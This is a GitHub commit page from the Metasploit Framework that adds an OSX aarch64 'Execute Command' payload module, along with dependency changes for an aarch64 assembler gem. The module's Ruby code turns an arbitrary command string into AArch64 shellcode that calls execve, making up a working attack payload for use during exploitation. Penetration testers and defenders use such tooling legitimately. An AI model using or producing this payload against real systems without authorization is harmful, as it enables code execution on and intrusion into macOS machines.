Skip to content

Commit f2902b3

Browse files
Land rapid7#18646, Add osx aarch64 exec payload
2 parents 28e3453 + dbeeade commit f2902b3

File tree

5 files changed

+403
-0
lines changed

5 files changed

+403
-0
lines changed

Gemfile.lock

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@ PATH
22
remote: .
33
specs:
44
metasploit-framework (6.4.12)
5+
aarch64
56
actionpack (~> 7.0.0)
67
activerecord (~> 7.0.0)
78
activesupport (~> 7.0.0)
@@ -104,6 +105,8 @@ GEM
104105
remote: https://rubygems.org/
105106
specs:
106107
Ascii85 (1.1.1)
108+
aarch64 (2.1.0)
109+
racc (~> 1.6)
107110
actionpack (7.0.8.1)
108111
actionview (= 7.0.8.1)
109112
activesupport (= 7.0.8.1)

metasploit-framework.gemspec

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -62,6 +62,8 @@ Gem::Specification.new do |spec|
6262
spec.add_runtime_dependency 'json'
6363
# Metasm compiler/decompiler/assembler
6464
spec.add_runtime_dependency 'metasm'
65+
# Needed for aarch64 assembler support - as Metasm does not currently support Aarch64 fully
66+
spec.add_runtime_dependency 'aarch64'
6567
# Metasploit::Concern hooks
6668
spec.add_runtime_dependency 'metasploit-concern'
6769
# Metasploit::Credential database models
Lines changed: 158 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,158 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
CachedSize = 76
8+
9+
include Msf::Payload::Single
10+
11+
def initialize(info = {})
12+
super(
13+
merge_info(
14+
info,
15+
'Name' => 'OSX aarch64 Execute Command',
16+
'Description' => 'Execute an arbitrary command',
17+
'Author' => [ 'alanfoster' ],
18+
'License' => MSF_LICENSE,
19+
'Platform' => 'osx',
20+
'Arch' => ARCH_AARCH64
21+
)
22+
)
23+
24+
# exec payload options
25+
register_options([
26+
OptString.new('CMD', [ true, 'The command string to execute' ])
27+
])
28+
end
29+
30+
# build the shellcode payload dynamically based on the user-provided CMD
31+
def generate(_opts = {})
32+
# Split the cmd string into arg chunks
33+
cmd_str = datastore['CMD']
34+
cmd_and_args = Shellwords.shellsplit(cmd_str).map { |s| "#{s}\x00" }
35+
36+
cmd = cmd_and_args[0]
37+
args = cmd_and_args[1..]
38+
39+
# Don't smash the real sp register, re-create our own on the x9 scratch register
40+
stack_register = :x9
41+
cmd_string_in_x0 = create_aarch64_string_in_stack(
42+
cmd,
43+
registers: {
44+
destination: :x0,
45+
stack: stack_register
46+
}
47+
)
48+
49+
result = <<~EOF
50+
// Set system call SYS_EXECVE 0x200003b in x16
51+
mov x16, xzr
52+
movk x16, #0x0200, lsl #16
53+
movk x16, #0x003b
54+
55+
mov #{stack_register}, sp // Temporarily move SP into scratch register
56+
57+
// Arg 0: execve - const char *path - Pointer to the program name to run
58+
#{cmd_string_in_x0}
59+
60+
// Push execve arguments, using x1 as a temporary register
61+
#{args.each_with_index.map do |value, index|
62+
"// Push argument #{index}\n" +
63+
create_aarch64_string_in_stack(value, registers: { destination: :x1, stack: stack_register })
64+
end.join("\n")
65+
}
66+
67+
// Arg 1: execve - char *const argv[] - program arguments
68+
#{cmd_and_args.each_with_index.map do |value, index|
69+
bytes_to_base_of_string = cmd_and_args[index..].sum { |string| align(string.bytesize) } + (index * 8)
70+
[
71+
"// argv[#{index}] = create pointer to base of string value #{value.inspect}",
72+
"mov x1, #{stack_register}",
73+
"sub x1, x1, ##{bytes_to_base_of_string} // Update the target register to point to base of the string",
74+
"str x1, [#{stack_register}], #8 // Store the pointer in the stack"
75+
].join("\n") + "\n"
76+
end.join("\n")}
77+
78+
// argv[#{cmd_and_args.length}] = NULL
79+
str xzr, [#{stack_register}], #8
80+
81+
// Set execve arg1 to the base of the argv array of pointers
82+
mov x1, #{stack_register}
83+
sub x1, x1, ##{(cmd_and_args.length + 1) * 8}
84+
85+
// Arg 2: execve - char *const envp[] - Environment variables, NULL for now
86+
mov x2, xzr
87+
// System call
88+
svc #0
89+
EOF
90+
91+
compile_aarch64(result)
92+
end
93+
94+
def create_aarch64_string_in_stack(string, registers: {})
95+
target = registers.fetch(:destination, :x0)
96+
stack = registers.fetch(:stack, :x9)
97+
98+
# Instructions for pushing the bytes of the string 8 characters at a time
99+
push_string = string.bytes
100+
.each_slice(8)
101+
.each_with_index
102+
.flat_map do |eight_byte_chunk, _chunk_index|
103+
mov_instructions = eight_byte_chunk
104+
.each_slice(2)
105+
.each_with_index
106+
.map do |two_byte_chunk, index|
107+
two_byte_chunk = two_byte_chunk.reverse
108+
two_byte_chunk_hex = two_byte_chunk.map { |b| b.to_s(16).rjust(2, '0') }.join
109+
two_byte_chunk_chr = two_byte_chunk.map(&:chr).join
110+
"mov#{index == 0 ? 'z' : 'k'} #{target}, #0x#{two_byte_chunk_hex}#{index == 0 ? '' : ", lsl ##{index * 16}"} // #{two_byte_chunk_chr.inspect}"
111+
end
112+
[
113+
"// Next 8 bytes of string: #{eight_byte_chunk.map(&:chr).join.inspect}",
114+
*mov_instructions,
115+
"str #{target}, [#{stack}], #8 // Store #{target} on #{stack}-stack and increment by 8"
116+
]
117+
end
118+
push_string = push_string.join("\n") + "\n"
119+
120+
set_target_register_to_base_of_string = <<~EOF
121+
mov #{target}, #{stack} // Store the current stack location in the target register
122+
sub #{target}, #{target}, ##{align(string.bytesize)} // Update the target register to point to base of the string
123+
EOF
124+
125+
result = <<~EOF
126+
#{push_string}
127+
#{set_target_register_to_base_of_string}
128+
EOF
129+
130+
result
131+
end
132+
133+
def align(value, alignment: 8)
134+
return value if value % alignment == 0
135+
136+
value + (alignment - (value % alignment))
137+
end
138+
139+
def compile_aarch64(asm_string)
140+
require 'aarch64/parser'
141+
parser = ::AArch64::Parser.new
142+
asm = parser.parse without_inline_comments(asm_string)
143+
144+
asm.to_binary
145+
end
146+
147+
# Remove any human readable comments that have been inlined
148+
def without_inline_comments(string)
149+
comment_delimiter = '//'
150+
result = string.lines(chomp: true).map do |line|
151+
instruction, _comment = line.split(comment_delimiter, 2)
152+
next if instruction.blank?
153+
154+
instruction
155+
end.compact
156+
result.join("\n") + "\n"
157+
end
158+
end

0 commit comments

Comments
 (0)